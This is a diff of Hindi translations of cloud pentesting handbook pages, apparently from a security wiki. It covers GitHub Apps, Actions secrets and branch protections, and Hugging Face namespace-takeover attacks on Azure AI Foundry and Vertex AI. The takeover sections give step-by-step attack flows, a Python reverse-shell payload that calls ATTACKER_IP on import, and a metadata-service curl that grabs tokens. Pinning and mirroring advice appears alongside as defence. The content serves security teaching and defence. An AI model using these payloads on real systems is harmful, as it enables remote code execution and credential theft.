+- **More** जानकारी के लिए [here](https://docs.github.com/en/developers/apps/getting-started-with-apps/about-apps#about-oauth-apps) देखें।
### Github Applications
-Github applications आपकी github जानकारी तक पहुँचने या आपकी नुमाइंदगी करने के लिए permissions माँग सकती हैं ताकि वे specific resources पर specific actions कर सकें। Github Apps में आपको यह निर्दिष्ट करना होता है कि app किन repositories तक access रखेगा।
+Github applications permissions माँग सकते हैं ताकि वे **आपकी github जानकारी तक पहुँच सकें या आपकी नकल करके** specific resources पर कुछ actions कर सकें। Github Apps में आपको यह specify करना होता है कि app किन repositories तक access रखेगा।
-- किसी GitHub App को install करने के लिए, आपको **organisation owner** होना चाहिए या किसी repository में **admin permissions** होने चाहिए।
-- GitHub App को एक **personal account या एक organisation से connect** होना चाहिए।
-- आप अपना Github application बना सकते हैं [https://github.com/settings/apps](https://github.com/settings/apps)
-- आप अपनी account तक access रखने वाले सभी **Github applications** को देख सकते हैं [https://github.com/settings/apps/authorizations](https://github.com/settings/apps/authorizations)
-- ये हैं **API Endpoints for Github Applications** [https://docs.github.com/en/rest/overview/endpoints-available-for-github-app](https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps). App की permissions के आधार पर यह कुछ endpoints तक पहुँच सकेगा।
-- आप एक **organization** में installed apps को _https://github.com/organizations/\/settings/installations_ में देख सकते हैं।
+- GitHub App install करने के लिए, आपको **organisation owner होना चाहिए या किसी repository में admin permissions** होने चाहिए।
+- GitHub App को **एक personal account या एक organisation** से जोड़ना चाहिए।
+- आप अपना Github application यहाँ बना सकते हैं: [https://github.com/settings/apps](https://github.com/settings/apps)
+- आप अपने account तक access रखने वाले सभी **Github applications** यहाँ देख सकते हैं: [https://github.com/settings/apps/authorizations](https://github.com/settings/apps/authorizations)
+- ये हैं **API Endpoints for Github Applications**: [https://docs.github.com/en/rest/overview/endpoints-available-for-github-app](https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps). App की permissions के आधार पर यह कुछ endpoints तक पहुँच सकता है।
+- आप किसी **organization** में installed apps को _https://github.com/organizations/\/settings/installations_ पर देख सकते हैं।
कुछ security recommendations:
-- एक GitHub App को **user से स्वतंत्र रूप से actions लेने चाहिए** (जब तक कि app [user-to-server](https://docs.github.com/en/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps#user-to-server-requests) token का उपयोग न कर रहा हो)। user-to-server access tokens को अधिक सुरक्षित रखने के लिए, आप ऐसे access tokens का उपयोग कर सकते हैं जो 8 घंटे के बाद expire हो जाते हैं, और एक refresh token जो नए access token के लिए एक्सचेंज किया जा सकता है। अधिक जानकारी के लिए देखें, "[Refreshing user-to-server access tokens](https://docs.github.com/en/apps/building-github-apps/refreshing-user-to-server-access-tokens)."
-- सुनिश्चित करें कि GitHub App **specific repositories** के साथ integrate हो।
-- GitHub App को एक **personal account या एक organisation से connect** होना चाहिए।
-- GitHub App से यह उम्मीद न रखें कि वह एक user की सभी क्षमताओं को जानता या कर सकता है।
-- **Don't use a GitHub App if you just need a "Login with GitHub" service**. लेकिन एक GitHub App उपयोग कर सकता है एक [user identification flow](https://docs.github.com/en/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps) को log users in करने के लिए _और_ अन्य चीजें करने के लिए।
-- GitHub App न बनाएं अगर आप _केवल_ एक GitHub user की तरह act करना चाहते हैं और वही सब कुछ करना चाहते हैं जो वह user कर सकता है।
-- यदि आप अपने app को GitHub Actions के साथ उपयोग कर रहे हैं और workflow files संशोधित करना चाहते हैं, तो आपको user की ओर से authenticate करना होगा एक OAuth token के साथ जिसमें `workflow` scope शामिल हो। user के पास उस repository पर admin या write permission होना चाहिए जिसमें workflow file स्थित है। अधिक जानकारी के लिए देखें, "[Understanding scopes for OAuth apps](https://docs.github.com/en/apps/building-oauth-apps/understanding-scopes-for-oauth-apps/#available-scopes)."
-- **More** in [here](https://docs.github.com/en/developers/apps/getting-started-with-apps/about-apps#about-github-apps).
+- एक GitHub App को **user से स्वतंत्र रूप से actions लेना चाहिए** (जब तक कि app [user-to-server](https://docs.github.com/en/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps#user-to-server-requests) token का उपयोग न कर रहा हो)। user-to-server access tokens को और सुरक्षित रखने के लिए, आप ऐसे access tokens का उपयोग कर सकते हैं जो 8 घंटे के बाद expire हो जाएं, और एक refresh token जो नए access token के लिए exchange किया जा सके। अधिक जानकारी के लिए देखें "[Refreshing user-to-server access tokens](https://docs.github.com/en/apps/building-github-apps/refreshing-user-to-server-access-tokens)."
+- सुनिश्चित करें कि GitHub App **विशिष्ट repositories** के साथ integrate हो।
+- GitHub App को **एक personal account या एक organisation** से जोड़ना चाहिए।
+- GitHub App से यह उम्मीद न रखें कि वह वह सब कुछ जान और कर ले जो एक user कर सकता है।
+- **Don't use a GitHub App if you just need a "Login with GitHub" service**. लेकिन एक GitHub App [user identification flow](https://docs.github.com/en/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps) का उपयोग करके users को login करवा सकता है _और_ अन्य चीजें भी कर सकता है।
+- यदि आप अपने app को GitHub Actions के साथ उपयोग कर रहे हैं और workflow files modify करना चाहते हैं, तो आपको user की ओर से authenticate करने के लिए OAuth token चाहिए जिसमें `workflow` scope शामिल हो। user को उस repository में admin या write permission होना चाहिए जिसमें workflow file है। अधिक जानकारी के लिए देखें "[Understanding scopes for OAuth apps](https://docs.github.com/en/apps/building-oauth-apps/understanding-scopes-for-oauth-apps/#available-scopes)."
+- **More** जानकारी के लिए [here](https://docs.github.com/en/developers/apps/getting-started-with-apps/about-apps#about-github-apps) देखें।
### Github Actions
-यह **github में authenticate करने का तरीका नहीं है**, पर एक **malicious** Github Action को github तक **unauthorised access** मिल सकता है और Action को दिए गए **privileges** के आधार पर कई **different attacks** किए जा सकते हैं। नीचे अधिक जानकारी देखें।
+यह **github में authenticate करने का तरीका नहीं है**, लेकिन एक **malicious** Github Action को github तक **unauthorised access** मिल सकता है और Action को दी गई **privileges** के आधार पर कई **different attacks** किए जा सकते हैं। नीचे अधिक जानकारी दी गई है।
## Git Actions
-Git actions आपको अनुमति देता है कि जब कोई event होता है तो **कोड के execution को automate किया जाए**। आमतौर पर executed कोड **repository के कोड से somehow संबंधित** होता है (शायद docker container बनाना या यह जांचना कि PR में secrets तो नहीं हैं)।
+Git actions यह अनुमति देता है कि जब कोई event हो तो **कोड के execution को automate किया जाए**। आम तौर पर execute किया जाने वाला कोड **रिपॉजिटरी के कोड से संबंधित** होता है (जैसे docker container बनाना या यह जांचना कि PR में secrets तो नहीं हैं)।
### Configuration
-_in_ https://github.com/organizations/\/settings/actions_ आप organization के लिए **github actions की configuration** देख सकते हैं।
+_in_ https://github.com/organizations/\/settings/actions_ में आप organization के लिए **github actions की configuration** देख सकते हैं।
-आप github actions के उपयोग को पूरी तरह disallow कर सकते हैं, **सभी github actions allow कर सकते हैं**, या केवल कुछ specific actions को ही allow कर सकते हैं।
+आप github actions का उपयोग पूरी तरह से disallow कर सकते हैं, **सभी github actions की अनुमति दे सकते हैं**, या केवल कुछ select actions की अनुमति दे सकते हैं।
-यह भी संभव है कि यह configure किया जा सके कि **किसे Github Action चलाने के लिए approval की आवश्यकता है** और Github Action के चलने पर GITHUB_TOKEN की **permissions** क्या होंगी।
+यहाँ यह भी configure करना संभव है कि **किसे Github Action चलाने के लिए approval चाहिए** और Github Action के run होने पर उस Action के **GITHUB_TOKEN की permissions** क्या होंगी।
### Git Secrets
-Github Action को आमतौर पर github या third party applications के साथ interact करने के लिए किसी प्रकार के secrets की आवश्यकता होती है। इन्हें repo में clear-text में रखने से बचने के लिए, github उन्हें **Secrets** के रूप में रखने की अनुमति देता है।
+Github Action अक्सर github या third party applications के साथ interact करने के लिए किसी प्रकार के secrets की आवश्यकता होती है। इन्हें repo में clear-text में रखने से बचाने के लिए, github इन्हें **Secrets** के रूप में रखने की अनुमति देता है।
-ये secrets **repo के लिए या पूरे organization के लिए** configure किए जा सकते हैं। फिर, ताकि **Action secret तक access कर सके** आपको इसे इस तरह declare करना होगा:
+ये secrets **repo के लिए या पूरी organization के लिए** configure किए जा सकते हैं। फिर, ताकि **Action secret तक access कर सके**, आपको इसे इस प्रकार declare करना होगा:
```yaml
steps:
- name: Hello world action
@@ -168,15 +167,15 @@ run: |
example-command "$SUPER_SECRET"
```
> [!WARNING]
-> Secrets **केवल उन Github Actions से ही एक्सेस किए जा सकते हैं** जिनमें उन्हें declared किया गया हो।
+> Secrets **केवल उन Github Actions से ही एक्सेस किए जा सकते हैं** जिनमें वे declare किए गए हों।
-> एक बार repo या organizations में configure करने के बाद **github के users उन्हें फिर कभी एक्सेस नहीं कर पाएँगे**, वे सिर्फ़ उन्हें **बदल सकते हैं**।
+> एक बार repo या organizations में configure होने के बाद **users of github फिर उन्हें access नहीं कर पाएँगे**, वे केवल उन्हें **change** कर सकेंगे।
-Therefore, the **only way to steal github secrets is to be able to access the machine that is executing the Github Action** (in that scenario you will be able to access only the secrets declared for the Action).
+इसलिए, **github secrets चोरी करने का एकमात्र तरीका यह है कि आप उस मशीन तक पहुँच सकें जो Github Action चला रही है** (ऐसी स्थिति में आप केवल उन secrets तक ही पहुँच पाएँगे जो उस Action के लिए declare किए गए हैं)।
### Git Environments
-Github आपको **environments** बनाने की अनुमति देता है जहाँ आप **secrets** सहेज सकते हैं। फिर, आप किसी environment के अंदर के secrets तक github action को access दे सकते हैं, उदाहरण के लिए:
+Github आपको ऐसे **environments** बनाने की अनुमति देता है जहाँ आप **secrets** सेव कर सकते हैं। फिर, आप github action को उस environment के अंदर के secrets तक access देने के लिए कुछ ऐसा दे सकते हैं:
```yaml
jobs:
deployment:
@@ -215,43 +214,43 @@ If all actions (or a malicious action) are allowed a user could use a **Github a
> - **Move laterally** if the Action is executed inside a **third party infrastructure** where the SA token used to run the machine can be accessed (probably via the metadata service)
> - **Abuse the token** used by the **workflow** to **steal the code of the repo** where the Action is executed or **even modify it**.
-## शाखा सुरक्षा (Branch Protections)
+## Branch Protections
-Branch protections का मकसद repository का पूरा नियंत्रण users को न देना है। लक्ष्य यह है कि किसी branch के अंदर कोड लिखने से पहले कई सुरक्षा उपाय लागू हों।
+Branch protections are designed to **not give complete control of a repository** to the users. The goal is to **put several protection methods before being able to write code inside some branch**.
-किसी repository की **branch protections** इस लिंक पर मिल सकती हैं: _https://github.com/\/\/settings/branches_
+The **branch protections of a repository** can be found in _https://github.com/\/\/settings/branches_
> [!NOTE]
-> यह **संभव नहीं है कि branch protection organization स्तर पर सेट किया जाए**। इसलिए इन्हें हर repo पर अलग से घोषित करना होगा।
+> It's **not possible to set a branch protection at organization level**. So all of them must be declared on each repo.
-एक branch (जैसे master) पर अलग‑अलग protections लागू किए जा सकते हैं:
+Different protections can be applied to a branch (like to master):
-- आप **merging से पहले PR को आवश्यक** कर सकते हैं (ताकि आप सीधे branch पर कोड merge न कर सकें)। यदि यह चुना गया है तो अन्य कई protections लागू हो सकते हैं:
-- **एक निश्चित संख्या में approvals की आवश्यकता**। आमतौर पर 1 या 2 दूसरे लोगों की approval माँगी जाती है ताकि एक ही उपयोगकर्ता सीधे merge न कर सके।
-- **नए commits push होने पर approvals को dismiss करना**। यदि ऐसा नहीं किया गया तो कोई उपयोगकर्ता पहले legit code approve कर सकता है और बाद में malicious code जोड़कर merge कर सकता है।
-- **Require approval of the most recent reviewable push**. यह सुनिश्चित करता है कि approval के बाद किसी भी नए commit (अन्य collaborators द्वारा किए गए pushes सहित) पर फिर से review ट्रिगर हो, ताकि कोई attacker post‑approval changes push कर के merge न कर पाए।
-- **Code Owners से reviews की आवश्यकता**। PR को approve करने के लिए repo के कम से कम 1 code owner की approval आवश्यक होती है (ताकि "random" users approve न कर सकें)।
-- **Restrict who can dismiss pull request reviews.** आप उन लोगों या टीमों को specify कर सकते हैं जिन्हें pull request reviews dismiss करने की अनुमति है।
-- **Allow specified actors to bypass pull request requirements**. ये users पहले वाली restrictions को bypass कर पाएंगे।
-- **Require status checks to pass before merging.** कुछ checks commit merge करने से पहले पास होने चाहिए (जैसे एक GitHub App जो SAST results रिपोर्ट करता है)। Tip: required checks को किसी specific GitHub App से bind करें; नहीं तो कोई भी app Checks API के जरिए check को spoof कर सकता है, और कई bots skip directives (उदा., "@bot-name skip") स्वीकार करते हैं।
-- **Require conversation resolution before merging**. PR merge होने से पहले code पर सभी comments resolve होने चाहिए।
-- **Require signed commits**. Commits को signed होना चाहिए।
-- **Require linear history.** Matching branches पर merge commits push होने से रोकता है।
-- **Include administrators**. यदि यह सेट नहीं किया गया तो admins restrictions bypass कर सकते हैं।
-- **Restrict who can push to matching branches**. यह नियंत्रित करता है कि कौन PR भेज सकता है।
+- You can **require a PR before merging** (so you cannot directly merge code over the branch). If this is select different other protections can be in place:
+- **Require a number of approvals**. It's very common to require 1 or 2 more people to approve your PR so a single user isn't capable of merge code directly.
+- **Dismiss approvals when new commits are pushed**. If not, a user may approve legit code and then the user could add malicious code and merge it.
+- **Require approval of the most recent reviewable push**. Ensures that any new commits after an approval (including pushes by other collaborators) re-trigger review so an attacker cannot push post-approval changes and merge.
+- **Require reviews from Code Owners**. At least 1 code owner of the repo needs to approve the PR (so "random" users cannot approve it)
+- **Restrict who can dismiss pull request reviews.** You can specify people or teams allowed to dismiss pull request reviews.
+- **Allow specified actors to bypass pull request requirements**. These users will be able to bypass previous restrictions.
+- **Require status checks to pass before merging.** Some checks need to pass before being able to merge the commit (like a GitHub App reporting SAST results). Tip: bind required checks to a specific GitHub App; otherwise any app could spoof the check via the Checks API, and many bots accept skip directives (e.g., "@bot-name skip").
+- **Require conversation resolution before merging**. All comments on the code needs to be resolved before the PR can be merged.
+- **Require signed commits**. The commits need to be signed.
+- **Require linear history.** Prevent merge commits from being pushed to matching branches.
+- **Include administrators**. If this isn't set, admins can bypass the restrictions.
+- **Restrict who can push to matching branches**. Restrict who can send a PR.
> [!NOTE]
-> जैसा कि आप देख सकते हैं, भले ही आप किसी user के credentials हासिल कर लें, **repos protected हो सकते हैं जिससे आप master पर कोड push कर के CI/CD pipeline को compromise नहीं कर पाएँगे**।
+> As you can see, even if you managed to obtain some credentials of a user, **repos might be protected avoiding you to pushing code to master** for example to compromise the CI/CD pipeline.
## Tag Protections
-Tags (जैसे latest, stable) default रूप से mutable होते हैं। Tag updates पर four‑eyes flow लागू करने के लिए tags को protect करें और protections को environments और branches के माध्यम से chain करें:
+Tags (like latest, stable) are mutable by default. To enforce a four‑eyes flow on tag updates, protect tags and chain protections through environments and branches:
-1) Tag protection rule पर **Require deployments to succeed** सक्षम करें और protected environment (उदा., prod) में successful deployment की आवश्यकता रखें।
-2) Target environment में **Deployment branches and tags** को release branch (उदा., main) तक restrict करें और optionally **Required reviewers** को **Prevent self-review** के साथ configure करें।
-3) Release branch पर branch protections configure करें ताकि **Require a pull request** हो, approvals ≥ 1 सेट करें, और दोनों **Dismiss approvals when new commits are pushed** और **Require approval of the most recent reviewable push** को सक्षम करें।
+1) On the tag protection rule, enable **Require deployments to succeed** and require a successful deployment to a protected environment (e.g., prod).
+2) In the target environment, restrict **Deployment branches and tags** to the release branch (e.g., main) and optionally configure **Required reviewers** with **Prevent self-review**.
+3) On the release branch, configure branch protections to **Require a pull request**, set approvals ≥ 1, and enable both **Dismiss approvals when new commits are pushed** and **Require approval of the most recent reviewable push**.
-यह chain किसी single collaborator को retag या force‑publish release करने से रोकती है सिर्फ workflow YAML edit करके, क्योंकि deployment gates workflows के बाहर enforce होते हैं।
+This chain prevents a single collaborator from retagging or force-publishing releases by editing workflow YAML, since deployment gates are enforced outside of workflows.
## References
diff --git a/src/pentesting-cloud/azure-security/az-post-exploitation/az-azure-ai-foundry-post-exploitation.md b/src/pentesting-cloud/azure-security/az-post-exploitation/az-azure-ai-foundry-post-exploitation.md
index 9734bf801..04cd904fc 100644
--- a/src/pentesting-cloud/azure-security/az-post-exploitation/az-azure-ai-foundry-post-exploitation.md
+++ b/src/pentesting-cloud/azure-security/az-post-exploitation/az-azure-ai-foundry-post-exploitation.md
@@ -4,15 +4,15 @@
## परिदृश्य
-- Azure AI Foundry Model Catalog में one-click deployment के लिए कई Hugging Face (HF) मॉडल शामिल हैं।
-- HF model identifiers Author/ModelName हैं। यदि कोई HF author/org deleted हो जाता है, तो कोई भी उस author को फिर से रजिस्टर कर सकता है और उसी ModelName के साथ legacy path पर मॉडल प्रकाशित कर सकता है।
-- सिर्फ name के आधार पर pull करने वाले pipelines और catalogs (no commit pinning/integrity) attacker-controlled repos की ओर resolve होंगे। जब Azure मॉडल को deploy करता है, तो loader code endpoint environment में execute कर सकता है, जिससे उस endpoint की permissions के साथ RCE मिल सकती है।
+- Azure AI Foundry Model Catalog में एक-क्लिक deployment के लिए कई Hugging Face (HF) models शामिल हैं।
+- HF model identifiers are Author/ModelName. अगर कोई HF author/org हट जाता है, तो कोई भी उस author को फिर से re-register कर सकता है और legacy path पर उसी ModelName के साथ model प्रकाशित कर सकता है।
+- नाम के आधार पर ही खींचने वाले Pipelines और catalogs (बिना commit pinning/integrity के) attacker-controlled repos पर resolve होंगे। जब Azure model को deploy करेगा, तो loader code endpoint environment में execute हो सकता है, जिससे उस endpoint की permissions के साथ RCE मिल सकती है।
-सामान्य HF takeover केस:
+Common HF takeover cases:
- Ownership deletion: पुराना path takeover तक 404 रहता है।
-- Ownership transfer: जब तक पुराना author मौजूद है, पुराना path नए author की ओर 307 redirect करता है। अगर बाद में पुराना author delete और फिर से re-register कर दिया जाता है, तो redirect टूट जाता है और attacker की repo legacy path पर serve करने लगती है।
+- Ownership transfer: Old path 307 नए author की तरफ redirect होता है जब पुराना author मौजूद रहता है। अगर बाद में पुराना author हटा दिया जाता है और फिर से re-registered किया जाता है, तो redirect टूट जाता है और attacker की repo legacy path पर serve करती है।
-## Reusable Namespaces (HF) की पहचान
+## पुन: उपयोग योग्य Namespaces (HF) की पहचान
```bash
# Check author/org existence
curl -I https://huggingface.co/ # 200 exists, 404 deleted/available
@@ -21,14 +21,14 @@ curl -I https://huggingface.co/ # 200 exists, 404 deleted/availab
curl -I https://huggingface.co//
# 307 -> redirect (transfer case), 404 -> deleted until takeover
```
-## End-to-end Attack Flow against Azure AI Foundry
+## Azure AI Foundry के खिलाफ एंड-टू-एंड अटैक फ्लो
-1) Model Catalog में उन HF models को ढूंढें जिनके original authors HF पर deleted या transferred हो चुके हैं (old author removed)।
-2) HF पर abandoned author को पुनः register करें और ModelName को recreate करें।
-3) एक malicious repo प्रकाशित करें जिसमें loader code हो जो import पर execute होता है या जिसके लिए trust_remote_code=True आवश्यक हो।
-4) Azure AI Foundry से legacy Author/ModelName को deploy करें। प्लेटफ़ॉर्म attacker repo को pull करता है; loader Azure endpoint container/VM के अंदर execute होता है, जिससे endpoint permissions के साथ RCE प्राप्त होती है।
+1) Model Catalog में उन HF models को ढूंढें जिनके मूल लेखक HF पर deleted या transferred हो गए थे (पुराना लेखक हटाया गया)।
+2) HF पर abandoned author को पुनः रजिस्टर करें और ModelName को फिर से बनाएं।
+3) एक दुर्भावनापूर्ण repo प्रकाशित करें जिसमें loader code हो जो import पर execute हो जाए या जिसके लिए trust_remote_code=True आवश्यक हो।
+4) Azure AI Foundry से legacy Author/ModelName को deploy करें। प्लेटफ़ॉर्म attacker repo को pull करता है; loader Azure endpoint के container/VM के अंदर execute होता है, जिससे endpoint permissions के साथ RCE प्राप्त होता है।
-Import पर execute होने वाला example payload fragment (केवल demonstration के लिए):
+Example payload fragment executed on import (for demonstration only):
```python
# __init__.py or a module imported by the model loader
import os, socket, subprocess, threading
@@ -46,41 +46,41 @@ if os.environ.get("AZUREML_ENDPOINT","1") == "1":
threading.Thread(target=_rs, args=("ATTACKER_IP", 4444), daemon=True).start()
```
नोट्स
-- AI Foundry deployments जो HF के साथ integrate होते हैं, आम तौर पर मॉडल की config में referenced repo modules (जैसे auto_map) को clone और import करते हैं, जो code execution trigger कर सकते हैं। कुछ paths पर trust_remote_code=True की ज़रूरत होती है।
-- Access आमतौर पर endpoint की managed identity/service principal permissions के अनुरूप होता है। इसे Azure के भीतर data access और lateral movement के लिए initial access foothold के रूप में मानें।
+- AI Foundry deployments जो HF के साथ integrate होते हैं, आम तौर पर model के config में referenced repo modules को clone और import करते हैं (उदा., auto_map), जो code execution trigger कर सकते हैं। कुछ paths पर trust_remote_code=True की आवश्यकता होती है।
+- Access सामान्यतः endpoint के managed identity/service principal permissions के अनुरूप होता है। इसे Azure के भीतर data access और lateral movement के लिए एक initial access foothold मानें।
## Post-Exploitation Tips (Azure Endpoint)
-- Environment variables और MSI endpoints में tokens के लिए enumerate करें:
+- Environment variables और MSI endpoints के लिए tokens को enumerate करें:
```bash
# Azure Instance Metadata Service (inside Azure compute)
curl -H "Metadata: true" \
"http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/"
```
-- acquired token के साथ mounted storage, model artifacts, और reachable Azure services की जाँच करें।
-- यदि platform HF से पुनः re-pull करती है तो persistence के लिए poisoned model artifacts छोड़ने पर विचार करें।
+- अधिग्रहित token के साथ माउंट की गई storage, model artifacts, और पहुँच योग्य Azure सेवाओं की जाँच करें।
+- यदि प्लेटफ़ॉर्म HF से पुनः pull करता है तो poisoned model artifacts छोड़कर persistence पर विचार करें।
-## Azure AI Foundry उपयोगकर्ताओं के लिए रक्षात्मक मार्गदर्शन
+## Azure AI Foundry उपयोगकर्ताओं के लिए रक्षा संबंधी मार्गदर्शन
-- Pin models by commit when loading from HF:
+- HF से लोड करते समय commit द्वारा models को pin करें:
```python
from transformers import AutoModel
m = AutoModel.from_pretrained("Author/ModelName", revision="")
```
-- सत्यापित HF models को एक विश्वसनीय आंतरिक registry में mirror करें और वहीं से deploy करें।
-- लगातार codebases और defaults/docstrings/notebooks को scan करें ताकि hard-coded Author/ModelName जो deleted/transferred हों पता चलें; उन्हें update या pin करें।
-- डिप्लॉयमेंट से पहले लेखक की मौजूदगी और मॉडल की उत्पत्ति सत्यापित करें।
+- सत्यापित HF मॉडलों को एक भरोसेमंद internal registry में mirror करें और वहाँ से deploy करें।
+- लगातार codebases और defaults/docstrings/notebooks को स्कैन करें ताकि हार्ड-कोडेड Author/ModelName जो deleted/transferred हैं पहचान कर उन्हें अपडेट या pin किया जा सके।
+- परिनियोजन से पहले author के अस्तित्व और मॉडल की provenance सत्यापित करें।
-## पहचान हीयूरिस्टिक्स (HTTP)
+## Recognition Heuristics (HTTP)
-- Deleted author: लेखक पेज 404; legacy model path 404 रहेगा जब तक takeover न हो।
-- Transferred model: legacy path 307 नए लेखक की ओर जाता है जबकि पुराना लेखक मौजूद है; अगर बाद में पुराना लेखक हटाया गया और पुनः पंजीकृत हुआ, तो legacy path attacker content सर्व करेगा।
+- Deleted author: author पेज 404; legacy model path 404 रहता है जब तक takeover नहीं होता।
+- Transferred model: legacy path 307 नए author की ओर जाता है जबकि पुराना author मौजूद है; अगर पुराना author बाद में हटाया गया और फिर से रजिस्टर किया गया, तो legacy path आक्रमणकारी की सामग्री सर्व कर सकता है।
```bash
curl -I https://huggingface.co// | egrep "^HTTP|^location"
```
-## पार-संदर्भ
+## क्रॉस-संदर्भ
-- विस्तृत कार्यप्रणाली और सप्लाई-चेन नोट्स देखें:
+- व्यापक कार्यप्रणाली और आपूर्ति-श्रृंखला नोट्स देखें:
{{#ref}}
../../pentesting-cloud-methodology.md
diff --git a/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-vertex-ai-post-exploitation.md b/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-vertex-ai-post-exploitation.md
index 38fa6b456..fe9072bbe 100644
--- a/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-vertex-ai-post-exploitation.md
+++ b/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-vertex-ai-post-exploitation.md
@@ -4,18 +4,18 @@
## परिदृश्य
-- Vertex AI Model Garden कई Hugging Face (HF) मॉडल्स की सीधे तैनाती की अनुमति देता है।
-- HF model identifiers हैं Author/ModelName. यदि HF पर कोई author/org हटाया जाता है, तो वही author नाम किसी भी व्यक्ति द्वारा फिर से रजिस्टर किया जा सकता है। हमलावर तब उसी ModelName के साथ legacy path पर एक repo बना सकते हैं।
-- नाम के आधार पर (बिना pinning/integrity) fetch करने वाले Pipelines, SDKs, या cloud catalogs attacker-controlled repo को pull कर लेंगे। जब मॉडल तैनात होता है, तो उस repo का loader code Vertex AI endpoint container के अंदर execute कर सकता है, जिससे endpoint की permissions के साथ RCE मिल सकती है।
+- Vertex AI Model Garden कई Hugging Face (HF) models की प्रत्यक्ष तैनाती की अनुमति देता है।
+- HF model identifiers are Author/ModelName. यदि HF पर कोई author/org हटाया जाता है, तो वही author नाम कोई भी व्यक्ति फिर से रजिस्टर कर सकता है। Attackers फिर legacy path पर वही ModelName रखते हुए एक repo बना सकते हैं।
+- Pipelines, SDKs, या cloud catalogs जो सिर्फ नाम से ही fetch करते हैं (no pinning/integrity), attacker-controlled repo को खींच लेंगे। जब model deploy होगा, उस repo का loader code Vertex AI endpoint container के अंदर execute हो सकता है, जिससे endpoint’s permissions के साथ RCE मिल सकती है।
-HF पर दो सामान्य takeover केस:
-- Ownership deletion: पुराना path 404 देता रहता है जब तक कोई author को फिर से रजिस्टर करके वही ModelName प्रकाशित न कर दे।
-- Ownership transfer: HF पुराने Author/ModelName से नए author के पास 307 redirect जारी करता है। यदि पुराना author बाद में हटाया जाता है और एक attacker द्वारा फिर से रजिस्टर किया जाता है, तो redirect chain टूट जाती है और attacker का repo legacy path पर serve करता है।
+HF पर दो सामान्य takeover मामले:
+- Ownership deletion: पुराना path 404 लौटाता है जब तक कोई author को फिर से रजिस्टर करके वही ModelName प्रकाशित न करे।
+- Ownership transfer: HF पुरानी Author/ModelName से नए owner की तरफ 307 redirects देता है। अगर पुराना author बाद में delete हो जाता है और attacker द्वारा फिर से रेजिस्टर कर लिया जाता है, तो redirect chain टूट जाती है और attacker का repo legacy path पर serve करने लगता है।
## Reusable Namespaces (HF) की पहचान
-- Old author deleted: author का पृष्ठ 404 लौटाता है; model path takeover तक 404 दे सकता है।
-- Transferred models: जब पुराना author मौजूद होता है तो पुराना model path नए owner के लिए 307 जारी करता है। अगर पुराना author बाद में हटाया जाता है और फिर से रजिस्टर किया जाता है, तो legacy path attacker के repo को resolve करेगा।
+- Old author deleted: author का page 404 लौटाता है; model path takeover तक 404 लौट सकता है।
+- Transferred models: पुराना model path पुराने author के मौजूद रहने पर नए owner की ओर 307 भेजता है। अगर पुराना author बाद में delete हो जाए और फिर re-register हो जाए, तो legacy path attacker के repo पर resolve हो जाएगा।
curl के साथ त्वरित जाँच:
```bash
@@ -28,22 +28,22 @@ curl -I https://huggingface.co//
# 307 = redirect to new owner (transfer case)
# 404 = missing (deletion case) until someone re-registers
```
-## Vertex AI के खिलाफ End-to-end Attack Flow
+## Vertex AI के खिलाफ अंत-से-अंत हमला प्रवाह
-1) Model Garden द्वारा deployable के रूप में सूचीबद्ध उन reusable model namespaces की खोज करें:
-- Vertex AI Model Garden में ऐसे HF models खोजें जो अभी भी “verified deployable” के रूप में दिखते हैं।
-- HF पर जांचें कि original Author हटाया गया है या मॉडल transfer हुआ और पुराने Author को बाद में हटाया गया था।
+1) उन reusable model namespaces की खोज करें जिन्हें Model Garden deployable के रूप में सूचीबद्ध करता है:
+- HF models खोजें जो Vertex AI Model Garden में अभी भी “verified deployable” के रूप में दिखते हैं।
+- HF पर सत्यापित करें कि मूल author हटाया गया है या model transfer किया गया था और पुराना author बाद में हटाया गया था।
-2) HF पर deleted Author को फिर से re-register करें और वही ModelName पुन: बनाएं।
+2) HF पर हटाए गए author को फिर से रजिस्टर करें और वही ModelName पुन: बनाएं।
-3) एक malicious repo publish करें। ऐसा कोड शामिल करें जो model load पर execute हो। आम उदाहरण जो HF model load के दौरान आमतौर पर execute होते हैं:
+3) एक malicious repo प्रकाशित करें। उस code को शामिल करें जो model load पर execute होता है। उदाहरण जो आमतौर पर HF model load के दौरान execute होते हैं:
- repo के __init__.py में side effects
-- config/auto_map द्वारा refer किए गए custom modeling_*.py या processing code
-- ऐसे code paths जो Transformers pipelines में trust_remote_code=True की आवश्यकता रखते हैं
+- config/auto_map द्वारा संदर्भित custom modeling_*.py या processing code
+- ऐसे code paths जिन्हें Transformers pipelines में trust_remote_code=True की आवश्यकता होती है
4) legacy Author/ModelName का Vertex AI deployment अब attacker repo को pull करता है। loader Vertex AI endpoint container के अंदर execute होता है।
-5) Payload endpoint environment (RCE) से endpoint की permissions के साथ access स्थापित कर देता है।
+5) Payload endpoint environment (RCE) से access स्थापित करता है जो endpoint की permissions के साथ होता है।
Example payload fragment executed on import (for demonstration only):
```python
@@ -63,43 +63,43 @@ if os.environ.get("VTX_AI","1") == "1":
threading.Thread(target=_rs, args=("ATTACKER_IP", 4444), daemon=True).start()
```
नोट्स
-- वास्तविक दुनिया के loaders भिन्न होते हैं। कई Vertex AI HF integrations model के config में संदर्भित repo मॉड्यूल्स को clone और import करते हैं (उदा., auto_map), जो code execution को ट्रिगर कर सकते हैं। कुछ उपयोगों के लिए trust_remote_code=True आवश्यक होता है।
-- The endpoint सामान्यतः एक समर्पित container में सीमित scope के साथ चलता है, लेकिन यह GCP में data access और lateral movement के लिए एक वैध प्रारम्भिक foothold हो सकता है।
+- वास्तविक दुनिया के loaders अलग-अलग होते हैं। कई Vertex AI HF integrations मॉडल की config में संदर्भित repo modules को clone और import करते हैं (जैसे auto_map), जो code execution ट्रिगर कर सकते हैं। कुछ उपयोगों के लिए trust_remote_code=True आवश्यक हो सकता है।
+- Endpoint आम तौर पर एक समर्पित container में सीमित scope के साथ चलता है, लेकिन यह GCP में डेटा एक्सेस और lateral movement के लिए एक वैध प्रारंभिक foothold हो सकता है।
